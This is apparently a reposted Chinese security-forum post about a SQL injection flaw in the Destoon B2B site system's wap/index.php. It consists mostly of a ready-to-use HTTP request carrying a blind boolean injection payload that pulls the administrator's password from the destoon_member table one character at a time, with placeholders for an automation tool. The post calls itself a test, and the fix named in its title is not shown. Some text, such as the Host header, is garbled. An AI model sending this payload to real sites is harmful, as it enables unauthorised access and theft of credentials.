不知道是不是0day了，去年年底暴的漏洞。以下仅作测试：
注意【%pos%】是数字【%cmp%】是字符的十六进制（我是配合我的工具）。判定返回的结过，如果是真，则返回更不等的时候返回不一样的。
GET /wap/index.php?moduleid=5&kw=DHA%2525%2527%09and%09ascii(substring((SELECT%09password%09FROM%09destoon_member%09WHERE%09userid=1),%pos%,1))=0x%cmp%%23 HTTP/1.1 Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */* Accept-Language: zh-cn User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Accept-Encoding: gzip, deflate Host: HdhCmsTest2cto测试数据 Connection: Keep-Alive
摘自 hi.baidu测试数据/it_security
查看更多关于destoon B2B网站管理系统wap/index.php sql注入漏洞及修的详细内容...